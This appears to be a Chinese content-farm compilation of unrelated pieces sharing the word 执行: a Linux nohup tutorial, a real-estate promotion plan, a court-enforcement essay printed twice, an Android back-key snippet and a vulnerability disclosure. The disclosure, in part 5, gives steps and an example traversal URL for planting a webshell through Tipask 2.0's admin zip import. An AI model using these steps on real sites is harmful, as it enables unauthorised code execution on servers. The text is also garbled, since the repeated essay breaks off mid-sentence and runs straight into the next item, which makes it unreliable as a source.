下面就是小编给大家带来的LINUX后台永远执行一个程序,本文共10篇,希望能帮助到大家!本文原稿由网友“Kymolin”提供。
篇1:LINUX后台永远执行一个程序
用nohup命令让Linux下程序永远在后台执行
Unix/Linux下一般想让某个程序在后台运行,很多都是使用 & 在程序结尾来让程序自动运行,比如我们要运行mysql在后台:/usr/local/mysql/bin/mysqld_safe --user=mysql &
但是我们很多程序并不象mysqld一样可以做成守护进程,可能我们的程序只是普通程序而已,一般这种程序即使使用 & 结尾,如果终端关闭,那么程序也会被关闭。为了能够后台运行,我们需要使用nohup这个命令,比如我们有个start.sh需要在后台运行,并且希望在后台能够一直运行,那么就使用nohup:
nohup /root/start.sh &
在shell中回车后提示:
[~]$ appending output to nohup.out
原程序的的标准输出被自动改向到当前目录下的nohup.out文件,起到了log的作用。
但是有时候在这一步会有问题,当把终端关闭后,进程会自动被关闭,察看nohup.out可以看到在关闭终端瞬间服务自动关闭。
咨询红旗Linux工程师后,他也不得其解,在我的终端上执行后,他启动的进程竟然在关闭终端后依然运行。
在第二遍给我演示时,我才发现我和他操作终端时的一个细节不同:他是在当shell中提示了nohup成功后还需要按终端上键盘任意键退回到shell输入命令窗口,然后通过在shell中输入exit来退出终端;而我是每次在nohup执行成功后直接点关闭程序按钮关闭终端.。所以这时候会断掉该命令所对应的session,导致nohup对应的进程被通知需要一起shutdown。
这个细节有人和我一样没注意到,所以在这儿记录一下了。
附:nohup命令参考
nohup 命令
用途:不挂断地运行命令。
语法:nohup Command [ Arg ... ] [ & ]
描述:nohup 命令运行由 Command 参数和任何相关的 Arg 参数指定的命令,忽略所有挂断(SIGHUP)信号,
在注销后使用 nohup 命令运行后台中的程序。要运行后台中的 nohup 命令,添加 & ( 表示“and”的符号)到命令的尾部。
无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到 $HOME/nohup.out 文件中。如果没有文件能创建或打开以用于追加,那么 Command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。
退出状态:该命令返回下列出口值:
126 可以查找但不能调用 Command 参数指定的命令。
127 nohup 命令发生错误或不能查找由 Command 参数指定的命令。
否则,nohup 命令的退出状态是 Command 参数指定命令的退出状态。
nohup命令及其输出文件 www.dnzg.cn
nohup命令:如果你正在运行一个进程,而且你觉得在退出帐户时该进程还不会结束,那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程。nohup就是不挂起的意思( n ohang up)。
该命令的一般形式为:nohup command &
使用nohup命令提交作业
如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件:
nohup command >myout.file 2>&1 &
在上面的例子中,输出被重定向到myout.file文件中。
使用 jobs 查看任务。
使用 fg %n 关闭。
另外有两个常用的ftp工具ncftpget和ncftpput,可以实现后台的ftp上传和下载,这样就可以利用这些命令在后台上传和下载文件了。
篇2:返乡置业后台执行案
返乡置业后台执行案
腾讯房产厦门站返乡置业执行计划
一、活动简介
二、宣传计划排期 1、腾讯房产中心统一规划部署,联动全国百大城市,掀起一股返乡置业的潮流。
2、PC端移动端同步推动
3、数百万优势广告资源推广本活动、腾讯新闻迷你首页客户端 、腾讯房产首页、看房APP等优势资源宣传(广告推广如下),覆盖全国百万网友。
三、线下活动配合
1、新年礼包派送
腾讯房产厦门站将在厦门各大热门商圈及车站派送红包。
你都将收到一封来自腾讯房产及合作项目的问候红包(含元现金、置业手册、Q团购房券、项目礼品)
活动时间:.2.6-2015.2.13
活动规则:只要扫腾讯房产官方微信及项目微信即可获得红包一个
红包个数:20万个(红包外壳体现开发商logo)
活动区域
2、返乡看房团
腾讯房产根据线上的报名蓄客将在春节前免费组织厦门地区工作漳州人回乡看房(区域独家合作,例如龙海独家合作,只看单个盘) 活动时间:2月14日
篇3:执行程序公正之我见
执行程序公正之我见
这几年,全国各级法院狠抓执行工作,积极探索执行的新方法和、新途径,大量执行案件得以顺利执结,执行工作迎来了新局面。然而,我们应该清醒的看到,“执行难”并没有从根本上克服,执行工作遇到困难仍然存在,随着我国加入世界贸易组织,执行工作又将面临新的挑战。新的时期,执行工作将向什么方向发展,执行工作最终价值取向又是什么呢。 当前,关于执行工作的价值取向,理论界主要存在着两种观点:一是认为执行工作应当以“最大限度地实现执行依据确定的债权”作为最终的目的。这一观点认为只有将法律文书的内容落到实处,权利人的权益才能得以保护,执行工作才有意义;另一种观点则认为,“程序公正在先,债权实现列后”是执行工作的最终价值取向,这一观点认为没有公正的程序在先,债权实现只能成为空谈。仔细比较一下这两种观点,我们就会发现,这两种观点争论实质就是过程和结果的争论。是结果更重要还是过程更要已成为执行工作价值取向最朴素哲学基础。那么,谁更重要,这就要从执行工作本身的特性来分析。我们知道,执行工作和审判工作一样,都是司法程序的一部分。因此,执行工作很大的一个特点就是它是一种社会救济手段,救济这个社会中的弱势群体,以维护社会的平衡。既然是一种救济手段,它就不是万能的,这就好象医生,不论医术有多精,也不可能治好所有的病。执行中,债权人的债权能否最终实现,取决于被执行人的履行能力。关于履行能力,理论界认为可分有履行能力、相对有履行能力和绝对无履行能力之分。如果是前两者,债权人的债权也许可以实现,当然有可能需要一定的时间。但如果被执行人绝对没有履行能力,那么法院的执行工作只能是“巧妇难为无米之炊”,债权人通过司法救济程序所得到的只能是对其债权法律上的认可,而无任何实质意义上的补偿。可见,执行工作的最终结果是实现了债权还是没有实现债权最终取决于被执行人的客观履行情况而不是执行工作的本身,这种客观情况到底如何其实也就是我们常说的风险。风险无处不在,市场经济中更是如此,风险的最终承担者只能是债权人本身而不是法院。打一个很普通的比方,你将钱借给他人的一刹那,你就应该意识到你有可能得不到偿还,如果最终因为债务无力履行而执行不能,你不能归责于法院的执行工作,只能自己承担这份损失。既然执行工作的结果不是执行工作所能决定的,那么,结果的追求显然不能作为执行工作的价值取向,在二选一的情况下,执行程序的公正才是执行工作最终的价值取向。为什么会选择公正这个字眼,这是因为“公正与效率”是法院工作永恒的主题,执行工作作为法院工作的一部分,自然也不例外。可能有人会说,程序公正作为执行工作的价值取向是不是意味着我们只追求程序上的公正而放弃了保障债权人的利益。这是一种走极端的想法。其实恰恰相反,我们追求执行程序的公正,正是最大程度上为保障债权人利益服务的。司法程序的设置,决不是可有可无的形成,从法理学的角度讲,程序违法就是实体违法。执行程序公正公正是执行结果的保障和前提,没有公正的程序在先,债权人权益的实现更是一句空话。当然,程序公正同样不可能绝对的保证法律文书内容的最终实现,而这恰恰是执行工作本身的特性所决定的。 既然执行程序公正是执行工作的最终价值取向,那么以什么样的标准来衡量程序公正呢?笔者以为可从以下五个方面: (一)执行程序的独立性。法治国家的重要特征是法律权威的树立,而法律的权威是通过独立的司法来实现的。一方面,执行工作是人民法院工作的重要组成部分,执行权与审判权一样,是宪法和法律赋予人民法院的一项重要权力。法官根据法律赋予的权力,遵循法定程序,依法行使执行权,不受任何行政机关、社会团体和个人的干涉,这是人民法院严格执法、确保司法公正的重要条件。而在行政权力一贯强大的我国,司法的独立程序往往要受到来自政府部门的影响和左右。所以,在这样的背景下,强调司法独立就显得尤为重要。否则,一个处处受制约、受干扰的法院又如何保证案件得到公正执行,其结果只能使法律规定的行之有效的制度发挥不出应有作用,法律尊严也就无存,司法公正也就无本;另一方面,执行权是一项独立的权力,随着执行权所调整的范围的不断扩大,客观上也要求执行程序不同于诉讼程序,即执行程序也应具有独立性,实现立法上的审执分离,以克服我国司法理论和实践中“重实体、轻程序”的传统观念。 (二)执行程序的合法性。根据法理学的基本原理,法治的基本原则就是程序公正,即程序合法、正当,这是人民法院追求司法公正的目标。程序违法即意味着实体违法。合法的程序是正确选择和适用法律全面体现司法公正的根本保证,否则,必然有损于法律的威严并导致公信度的降低。因此,执行程序的各个环节,如执行管辖、取证、合议、采取强制措施等,均应在制定独立的执行法律时以具体的、操作性强的条款加以明确,目前,我国有关执行方面的法律规定还很不完善,原则性、粗线条的'规定较多,不便于操作。相信即将颁布的《强制执行法》又将成为执行工作历史上的一座里程碑。 (三)执行程序的公平性。无论是法的创制还是法的实施,都要求程序的合理、公平,通过公平、合理、完善的程序规定,确保司法公正,更好地维护公民的合法权益。在执行实践中,它要求我们在执行管辖上,既不得受理无管辖权的案件,也不得拒绝受理有管辖权的案件,在审执结合上,既要坚持严格执法,又要坚持平等保护所有当事人的合法权益。做到对当事人一视同仁,不偏袒任何一方,努力排除执行中的人为因素,抵制来自各方面的干扰。但对于当事人而言,无论人民法院是否严格依法执行,都可能有公正与不公正两种截然相反的感觉。对此,我们应在加强对当事人的思想、法律教育的同时,注重提高其对法律权威、人民法院独立执行权威的认识,讲究法律效果和社会效果的统一。 (四)执行程序的公开性。程序公开是衡量司法民主程度的标尺,也是法治的必然要求。近年来,“执行难”一直是困扰人民法院工作的一大难题。其原因应当说是多方面的,但传统的执行方式中所表现出来的执行程序公开度不够,缺乏有效的监督是其中不可忽视的重要原因之一。因此,追求正义的法律程序必然是公开的,透明的,正如肖扬院长指出的,人民法院一定要增强审判活动的公开性和透明度,要求任何人都不得搞“暗箱操作”。故此,在执行工作中强调程序的公正和公开,强调阳光下的操作就显得尤为重要。 (五)执行程序的高效性。公正与效率永远是法院工作永恒的主题,执行工作也不例外。公正的执行程序应当体现在公民能够很快的实现其权利,避免程序上的繁琐和极端形式主义倾向。同时,执行程序也应当及时终结,执行期限不可以遥遥无期,任何迟来的公正都可能构成不公正。因为在更多时候,合法权益的实现都带有极强的时效性。执行期限拖延对当事人一方或双方会形成极大的损失和浪费。但是,每一项程序的设计,又都是为了使当事人有更多的机会参与程序过程,充分行使其权利,都旨在限制和防止法官的恣意,这些程序对公正执行的实现又是必不可少的,减少任何一个环节,都会增加司法的不公。因此,执行实践中,那种为了追求效率而不考虑程序要求的做法,也是错误的。真正意义上的执行高效性要求,应当是建立在正当程序基础上的对执行程序的适当、必要简化。可见执行工作的高效与正当程序性要求是辩证统一的关系。 明确了执行程序公正的衡量标准,我们也就找到了一面镜子。通过这面镜子,我们可以发现种种干扰、阻碍执行工作的因素。笔者认为,当前,执行工作面临的阻力主要可分为三大部分: (一)执行工作的外部阻力。主要表现为:第一,地方保护主义和部门保护主义,这是阻碍人民法院执行工作顺利开展的最主要原因,前面已说过,执行工作同样要求独立,不具有独立性的执行工作必然导致执行的不公。实践中,有的地方政府和部门对一些企业“挂牌保护”,尤其是一些涉府企业。法院一旦执行到这些企业,政府便会以种种理由干涉,设置种种障碍。由于财政和人事的不独立性,法院对政府的干涉往往显得无能为力。第二、社会法制观念淡薄,被执行人拿到法院的法律文书,并不是考虑如何积极履行法律义务,而是逃避执行,导致“被执行人难找,被执行财产难寻,协助执行人难求,应执行财产难动”的“四难”被动局面。更有甚者,无视社会主义法制的统一和尊严,暴力抗法,以权压法的现象时有发生。这些都严重干扰了执行工作的正常开展。 (二)执行工作的内部阻力。这些阻力是由于法院执行工作的本身不符合时代发展的要求造成的。表现为:第一、执行工作独任制带来的弊端。所谓执行独任制是指,在对具体案件的执行中,从审查执行法律文书的合法性到处理执行异议,再到实施强制执行,由特定的执行员一人经办到底。目前,全国绝大多数法院仍然采用这样的执行工作方式。这种执行运行机制弊端明显:1、执行权能不清晰,执行权力过于集中。执行命令权、执行实施权、执行异议审查权集于独任执行员或执行合议庭一身,权力失衡,缺乏制约。2、缺乏有效监督机制,容易导致“执行乱”。由于权力的集中,执行员行使权力的随意性大,很容易导致“执行乱”的发生,如消极执行,使案件久拖不执;在没有得到有效执行的情况下,将诉前和诉讼保全的财产擅自解封;对申请人提供的财产线索不查不找,漫不经心;故意对执行财产提高评估价,造成执行不能的态势,损害债权人利益等等。3、执行人员滥用执行权,影响司法公正。独任制从某种意义上讲又给了执行员滥用权力,枉法执行的机会。“人情案”、“关系案”、“金钱案”暗箱操作,搞钱权交易,损害了当事人的合法权益,影响了司法公正。4、执行人员办案水平与权力行使不相适应,容易造成案件久拖不执,影响司法效率。执行人员业务素质高低不一,办案能力有强有弱。在执行中,往往出现业务水平低的执行人员办理疑难复杂的执行案件束手无策,无法正确行使执行权,影响执行案件的质量和效率。第二,执行管理体制尚不健全。当前,执行局的设立尚没有在全国法院普及,执行工作垂直管理模式还没有完全建立。执行经费、执行设备还不能统一调配。在一些贫困地区,执行工作所需的物资还很紧缺,全国执行工作一盘棋的执行管理模式有待建立。第三、执行工作的理论研究有待加强。当前,执行工作的理论基础显得相对薄弱,有关执行工作的法律规定主要是《中华人民共和国民事诉讼法》和最高人民法院《关于人民法院执行工作若干问题的规定(试行)》,真正意义上的强制执行法尚没有制定出来。这些法律规定多是粗线条,原则性较强,可操作性较弱。法律规定的粗线条一定程度上也成为“执行难”和“执行乱”的成因之一。 (三)执行工作面临的挑战。随着我国加入世界贸易组织,世界贸易组织的一些游戏规则在我国也同样适用,这种影响是多方面的,也为执行工作带来了挑战。表现为:第一,世贸组织的统一性原则,要求司法独立和司法公正。现实中,法院在国家体制设置中的地位难以让执行工独立进行,官本位思想对执行工作的影响深远,执行人员素质低下,执行不公时有发生。第二,世贸组织的透明度原则,要求司法公开。现实中,地方经济保护,领导干部以权压法,执行人员暗箱操作仍然存在。第三,世贸组织的非歧视原则要求会员国实行国民待遇和最惠国待遇。现实中,我们提出为国有企业保驾护航会被用来指责我们歧视外国企业;为维护社会稳定而中止执行一些涉及特定企业的案件会被认为对所涉外国企业债权人或债务人的歧视;对一些不属于法定豁免执行的财产不执行可能要与非歧视原则相冲突。总之,入世以后,执行工作遇到的挑战同样是空前的。 面对新时期的困难和挑战,执行工作任重而道远。笔者认为,要改变和克服当前存在的的“执行难”和“执行乱”状况,切实保障程序公正,使司法公正真正落到实处,应采取以下几项措施: (一)建立“三权分立”的执行工作模式。前面已经说过,执行独任制由于权力的过分集中,存在着一系列的弊端。因此,只有分散执行权力,才能从根本上克服这些弊端。执行权力主要分为三种,一、执行命令权,即由主执法官依据民事诉讼法律的规定和生效法律文书,发出强制被执行人履行义务的命令,以及对妨碍执行者依法制裁的命令之权力。具体又可分为审查权、通知权、裁定权等权力。二、执行实施权,指助执法官按照主执法官发出的执行命令,具体实施强制执行措施的权能。主要表现为查询、冻结、扣划、拍卖等一系列的执行措施。三、执行异议审查权,指执行中,案外人对执行标的提出不同意见,主张实体权利,由主执法官依法进行审查处理的权能。三种权力在实践运行中,主持法官行使执行命令权,通过审查法律文书,发出执行通知,依法裁定等工作为后面的实施工作做好准备。助执法官根据主持法官的执行命令行使执行实施权,采取一系列的执行措施。合议庭则行使执行异议审查权,对执行工作全程实行监控。三种权力在实践运行中形成相互配合、相互监督、相互制约的机制。在执行机构的设置,也要依据“三权分立”原则设立,如执行局内部设立两庭一处(科),即执行一庭、执行二庭和综合管理处(科),将三种权力分别由不同的职能部门和不同的执行人员行使,从而在机构上为“三权分立”提供保障,以实现真正意义上的“三权分立”。 (二)在全国形成执行工作统一管理的体制。各高级人民法院在本辖区内对执行工作实行统一管理、统一领导的体制,对执行机构领导下管一级,非经上级法院执行机构同意,下级法院执行机构的负责人不能任命,从而改变目前在执行中屈从地方党政机关或个人的非法干扰的情况,变为服从上级法院的领导和监督;要对执行经费专款专用,统一取得执行经费,购置设备,分配给各级法院使用,形成装备统一调动的自主权。对执行案件统一指挥,采取提级执行、指定执行、交叉执行、集中执行等新的执行格局,形成抵制和反对地方保护主义和部门保护主义的强大合力。 (三)努力提高执行人员素质。从目前来看,我国的执法环境是复杂的,难以执行的案件在逐年增多。特别是人世以后,疑难的涉外案件也会增多。这就求执行人员必须具有较高的政策理论水平和法律专业知识,具有丰富的工作实践经验和较强的解决问题、协调各种关系的能力。因此,除选择一批政治素质高、业务精良、作风过硬的人员担任执行法官外,还应加强对执行法官的职业道德教育,把司法公正作为执行工作的出发点和落脚点,做到严肃执法,文明执法;狠抓法律知识和业务的培训,保证执行过程中能熟练掌握和果断准确适用法律、法规,提高执行水平,讲究执行艺术。同时,要树立大局观念、群众观念,深入调查研究执行工作的新情况、新问题,即法律适用问题,主动争取社会各界支持、配合和监督,积极营造执行工作良好的社会环境。 (四)在全社会大力加强法制宣传教育工作,要在全社会树立法制意识。法制只有真正深人民心,一个国家才可称得上法治国家。全社会都要认真学习法律知识,尤其是对一些领导干部,更是要加强法律的学习,以身作则的依法来办事。对于学习法律的范围,不仅包括中国的法律,还要包括外国的法律,包括WTO的游戏规则。在学习中,我们要不断的提高自己认识,尤其要转变自己的传统认识。中国是一个“公权神圣”的国家,在与国际接轨的今天,许多传统的观念都受到强有力的冲击,转变观念势在必行。如在执行中遇到涉及企业为被执行人的案件,在市场经济条件下,我们不能因为企业所有制的不同而采取不同的执行措施,要意识到不论何种所有制的企业都是市场主体,他们的地位是平等的。诸如此类的问题,都要在学习中转变。此外,学术界还要加强执行理论的研究,要让执行工作真正的有法可依,严格的依法执行同样是执行程序公正不可缺少的重要一环。 严肃执法,对拒不履行,抗拒执法的不法分子给予处罚。这种处罚,不仅限于人身和财产上的处罚,而且要公示,即对一些信用极差的被执行人,采取公告的方式告之于众。一方面,警戒、督促那些拒不履行的被执行人。另一方面,也防止这些人再去损害他人,让其因为信用低下付出沉重代价。目前,国外已有这样的信用公示制度,我国尚不多见,法院是否可以走在前列有待理论界进一步的探讨。
篇4:执行程序公正之我见
执行程序公正之我见
这几年,全国各级法院狠抓执行工作,积极探索执行的新方法和、新途径,大量执行案件得以顺利执结,执行工作迎来了新局面。然而,我们应该清醒的看到,“执行难”并没有从根本上克服,执行工作遇到困难仍然存在,随着我国加入世界贸易组织,执行工作又将面临新的挑战。新的时期,执行工作将向什么方向发展,执行工作最终价值取向又是什么呢。 当前,关于执行工作的价值取向,理论界主要存在着两种观点:一是认为执行工作应当以“最大限度地实现执行依据确定的债权”作为最终的目的。这一观点认为只有将法律文书的内容落到实处,权利人的权益才能得以保护,执行工作才有意义;另一种观点则认为,“程序公正在先,债权实现列后”是执行工作的最终价值取向,这一观点认为没有公正的程序在先,债权实现只能成为空谈。仔细比较一下这两种观点,我们就会发现,这两种观点争论实质就是过程和结果的争论。是结果更重要还是过程更要已成为执行工作价值取向最朴素哲学基础。那么,谁更重要,这就要从执行工作本身的特性来分析。我们知道,执行工作和审判工作一样,都是司法程序的一部分。因此,执行工作很大的一个特点就是它是一种社会救济手段,救济这个社会中的弱势群体,以维护社会的平衡。既然是一种救济手段,它就不是万能的,这就好象医生,不论医术有多精,也不可能治好所有的病。执行中,债权人的债权能否最终实现,取决于被执行人的履行能力。关于履行能力,理论界认为可分有履行能力、相对有履行能力和绝对无履行能力之分。如果是前两者,债权人的债权也许可以实现,当然有可能需要一定的时间。但如果被执行人绝对没有履行能力,那么法院的执行工作只能是“巧妇难为无米之炊”,债权人通过司法救济程序所得到的只能是对其债权法律上的认可,而无任何实质意义上的补偿。可见,执行工作的最终结果是实现了债权还是没有实现债权最终取决于被执行人的客观履行情况而不是执行工作的本身,这种客观情况到底如何其实也就是我们常说的风险。风险无处不在,市场经济中更是如此,风险的最终承担者只能是债权人本身而不是法院。打一个很普通的比方,你将钱借给他人的一刹那,你就应该意识到你有可能得不到偿还,如果最终因为债务无力履行而执行不能,你不能归责于法院的执行工作,只能自己承担这份损失。既然执行工作的结果不是执行工作所能决定的,那么,结果的追求显然不能作为执行工作的价值取向,在二选一的情况下,执行程序的公正才是执行工作最终的价值取向。为什么会选择公正这个字眼,这是因为“公正与效率”是法院工作永恒的主题,执行工作作为法院工作的一部分,自然也不例外。可能有人会说,程序公正作为执行工作的价值取向是不是意味着我们只追求程序上的公正而放弃了保障债权人的利益。这是一种走极端的想法。其实恰恰相反,我们追求执行程序的公正,正是最大程度上为保障债权人利益服务的。司法程序的`设置,决不是可有可无的形成,从法理学的角度讲,程序违法就是实体违法。执行程序公正公正是执行结果的保障和前提,没有公正的程序在先,债权人权益的实现更是一句空话。当然,程序公正同样不可能绝对的保证法律文书内容的最终实现,而这恰恰是执行工作本身的特性所决定的。 既然执行程序公正是执行工作的最终价值取向,那么以什么样的标准来衡量程序公正呢?笔者以为可从以下五个方面: (一)执行程序的独立性。法治国家的重要特征是法律权威的树立,而法律的权威是通过独立的司法来实现的。一方面,执行工作是人民法院工作的重要组成部分,执行权与审判权一样,是宪法和法律赋予人民法院的一项重要权力。法官根据法律赋予的权力,遵循法定程序,依法行使执行权,不受任何行政机关、社会团体和个人的干涉,这是人民法院严格执法、确保司法公正的重要条件。而在行政权力一贯强大的我国,司法的独立程序往往要受到来自政府部门的影响和左右。所以,在这样的背景下,强调司法独立就显得尤为重要。否则,一个处处受制约、受干扰的法院又如何保证案件得到公正执行,其结果只能使法律规定的行之有效的制度发挥不出应有作用,法律尊严也就无存,司法公正也就无本;另一方面,执行权是一项独立的权力,随着执行权所调整的范围的不断扩大,客观上也要求执行程序不同于诉讼程序,即执行程序也应具有独立性,实现立法上的审执分离,以克服我国司法理论和实践中“重实体、轻程序”的传统观念。 (二)执行程序的合法性。根据法理学的基本原理,法治的基本原则就是程序公正,即程序合法、正当,这是人民法院追求司法公正的目标。程序违法即意味着实体违法。合法的程序是正确选择和适用法律全面体现司法公正的根本保证,否则,必然有损于法律的威严并导致公信度的降低。因此,执行程序的各个环节,如执行管辖、取证、合议、采取强制措施等,均应在制定独立的执行法律时以具体的、操作性强的条款加以明确,目前,我国有关执行方面的法律规定还很不完善,原则性、粗线条的规定较多,不便于操作。相信即将颁布的《强制执行法》又将成为执行工作历史上的一座里程碑。 (三)执行程序的公平性。无论是法的创制还是法的实施,都要求程序的合理、公平,通过公平、合理、完善的程序规定,确保司法公正,更好地维护公民的合法权益。在执行实践中,它要求我们在执行管辖上,既不得受理无管辖权的案件,也不得拒绝受理有管辖权的案件,在审执结合上,既要坚持严格执法,又要坚持平等保护所有当事人的合法权益。做到对当事人一视同仁,不偏袒任何一方,努力排除执行中的人为因素,抵制来自各方面的干扰。但对于当事人而言,无论人民法院是否严格依法执行,都可能有公正与不公正两种截然相反的感觉。对此,我们应在加强对当事人的思想、法律教育的同时,注重提高其对法律权威、人民法院独立执行权威的认识,讲究法律效果和社会效果的统一。 (四)执行程序的公开性。程序公开是衡量司法民主程度的标尺,也是法治的必然要求。近年来,“执行难”一直是困扰人民法院工作的一大难题。其原因应当说是多方面的,但传统的执行方式中所表现出来的执行程序公开度不够,缺乏有效的监督是其中不可忽视的重要原因之一。因此,追求正义的法律程序必然是公开的,透明的,正如肖扬院长指出的,人民法院一定要增强审判活动的公开性和透明度,要求任何人都不得搞“暗箱操作”。故此,在执行工作中强调程序的公正和公开,强调阳光下的操作就显得尤为重要。 (五)执行程序的高效性。公正与效率永远是法院工作永恒的主题,执行工作也不例外。公正的执行程序应当体现在公民能够很快的实现其权利,避免程序上的繁琐和极端形式主义倾向。同时,执行程序也应当及时终结,执行期限不可以遥遥无期,任何迟来的公正都可能构成不公正。因为在更多时候,合法权益的实现都带有极强的时效性。执行期限拖延对当事人一方或双方会形成极大的损失和浪费。但是,每一项程序的设计,又都是为了使当事人有更多的机会参与程序过程,充分行使其权利,都旨在限制和防止法官的恣意,这些程序对公正执行的实现又是必不可少的,减少任何一个环节,都会增加司法的不公。因此,执行实践中,那种为了追求效率而不考虑程序要求的做法,也是错误的。真正意义上的执行高效性要求,应当是建立在正当程序基础上的对执行程序的适当、必要简化。可见执行工作的高效与正当程序性要求是辩证统一的关系。 明确了执行程序公正的衡量标准,我们也就找到了一面镜子。通过这面镜子,我们可以发现种种干扰、阻碍执行工作的因素。笔者认为,当前,执行工作面临的阻力主要可分为三大部分: (一)执行工作的外部阻力。主要表现为:第一,地方保护主义和部门保护主义,这是阻碍人民法院执行工作顺利开展的最主要原因,前面已说过,执行工作同样要求独立,不具有独立性的执行工作必然导致执行的不公。实践中,有的地方政府和部门对一些企业“挂牌保护”,尤其是一些涉府企业。法院一旦执行到这些企业,政府便会以种种理由干涉,设置种种障碍。由于财政和人事的不独立性,法院对政府的干涉往往显得无能为力。第二、社会法制观念淡薄,被执行人拿到法院的法律文书,并不是考虑如何积极履行法律义务,而是逃避执行,导致“被执行人难找,被执行财产难寻,协助执行人难求,应执行财产难动”的“四难”被动局面。更有甚者,无视社会主义法制的统一和尊严,暴力抗法,以权压法的现象时有发生。这些都严重干扰了执行工作的正常开展。 (二)执行工作的内部阻力。这些阻力是由于法院执行工作的本身不符合时代发展的要求造成的。表现为:第一、执行工作独任制带来的弊端。所谓执行独任制是指,在对具体案件的执行中,从审查执行法律文书的合法性到处理执行异议,再到实施强制执行,由特定的执行员一人经办到底。目前,全国绝大多数法院仍然采用这样的执行工作方式。这种执行运行机制弊端明显:1、执行权能不清晰,执行权力过于集中。执行命令权、执行实施权、执行异议审查权集于独任执行员或执行合议庭一身,权力失衡,缺乏制约。2、缺乏有效监督机制,容易导致“执行乱”。由于权力的集中,执行员行使权力的随意性大,很容易导致“执行乱”的发生,如消极执行,使案件久拖不执;在没有得到有效执行的情况下,将诉前和诉讼保全的财产擅自解封;对申请人提供的财产线索不查不找,漫不经心;故意对执行财产提高评估价,造成执行不能的态势,损害债权人利益等等。3、执行人员滥用执行权,影响司法公正。独任制从某种意义上讲又给了执行员滥用权力,枉法执行的机会。“人情案”、“关系案”、“金钱案”暗箱操作,搞钱权交易,损害了当事人的合法权益,影响了司法公正。4、执行人员篇5:tipask 2.0 后台任意代码执行
Tipask问答系统是一款开放源码的PHP仿百度知道程序,以国人的使用习惯为设计理念,采用MVC构架,系统具有速度快,SEO友好,界面操作简洁明快等特点。
但是Tipask后台中存在问题,所以导致进入后台的用户可以执行任意代码。
详细说明:在control/admin/db.php onimport函数中
/*数据库导入*/ function onimport() { set_time_limit(0); if(substr(trim(ini_get('memory_limit')),0,-1)<32&&substr(trim(ini_get('memory_limit')),0,-1)>0) {@ini_set('memory_limit','32M'); } $filename=str_replace('*','.',$this->get[2]); $filenum=$this->get[3]?$this->get[3]:1; $filedir=“./data/db_backup/”; $filetype=$this->get[4]?$this->get[4]:substr($filename,-3); if($filetype!='zip'&&$filetype!='sql') {$this->message('文件格式不正确','BACK'); }else {if($filenum==1) { if($filetype=='zip') { require_once TIPASK_ROOT.'/lib/zip.class.php'; $zip=new zip(); if(!$zip->chk_zip) {$this->message('chkziperror',''); } $zip->Extract($filedir.$filename,$filedir); $filename=substr($filename,0,-4).“_1.sql”; }else { $num=strrpos($filename,“_”); $filename=substr($filename,0,$num).“_1.sql”; }}if(file_exists($filedir.$filename)) { $sqldump=readfromfile($filedir.$filename); preg_match('/#\\sVersion:\\sTipask\\s([^\\n]+)\\n/i',$sqldump,$tversion); if($tversion[1]!=TIPASK_VERSION) { $this->message('导入的备份数据文件版本不正确','admin_db/backup'); } $sqlquery = $_ENV['db']->splitsql($sqldump); unset($sqldump); foreach($sqlquery as $sql) { $sql = $_ENV['db']->syntablestruct(trim($sql), $this->db->version() >'4.1', DB_CHARSET); if($sql != '') {$this->db->query($sql, 'SILENT');if(($sqlerror = $this->db->error()) && $this->db->errno() != 1062) { $this->db->halt('MySQL Query Error', $sql);} } } if($filetype=='zip') { @unlink($filedir.$filename); } $filenum++; $num=strrpos($filename,“_”); $filename=str_replace('.','*',substr($filename,0,$num).“_”.$filenum.“.sql”); $this->message(“
”.'第 '.($filenum-1).' 个文件已经完成!正在进入下一个备份!', “admin_db/import/$filename/$filenum/$filetype”);}else { $this->cache->remove('import_files'); $this->message('导入数据成功!','admin_db/backup');} } }
$zip->Extract($filedir.$filename,$filedir);
其中可以看到如果导入的是zip,那么将解压缩get[2]中的zip包到/data/db_backup/中,其中get[2]可控,
$filename=str_replace('*','.',$this->get[2]);
在开始将*替换回.
所以使用**\\来进行目录跳转。
首先在提问那上传一个含有shell的zip文件,记下路径,然后在后台数据库备份处选导入,抓包,把文件路径替换为zip的路径。
example:
127.0.0.1/tipask2/index.php?admin_db/import/**\\attach\\1306\\dBhFIKDQ*zip
之后shell将解压到./data/db_backup中
修复方案:
估计厂商不会认领,so...
篇6:android实现程序的后台运行
/** * 改写返回键事件监听,使得back键功能类似home键,让Acitivty退至后台时不被系统销毁 */ @Override public boolean onKeyDown(int keyCode, KeyEvent event) { PackageManager pm = getPackageManager(); ResolveInfo homeInfo = pm.resolveActivity( new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME), 0); if (keyCode == KeyEvent.KEYCODE_BACK) { ActivityInfo ai = homeInfo.activityInfo; Intent startIntent = new Intent(Intent.ACTION_MAIN); startIntent.addCategory(Intent.CATEGORY_LAUNCHER); startIntent .setComponent(new ComponentName(ai.packageName, ai.name)); startActivitySafely(startIntent); return true; } else return super.onKeyDown(keyCode, event); } private void startActivitySafely(Intent intent) { intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); try { startActivity(intent); } catch (ActivityNotFoundException e) { Toast.makeText(this, “null”, Toast.LENGTH_SHORT).show(); } catch (SecurityException e) { Toast.makeText(this, “null”, Toast.LENGTH_SHORT).show(); } }
篇7:执行程序中拍卖问题探讨
执行程序中拍卖问题探讨
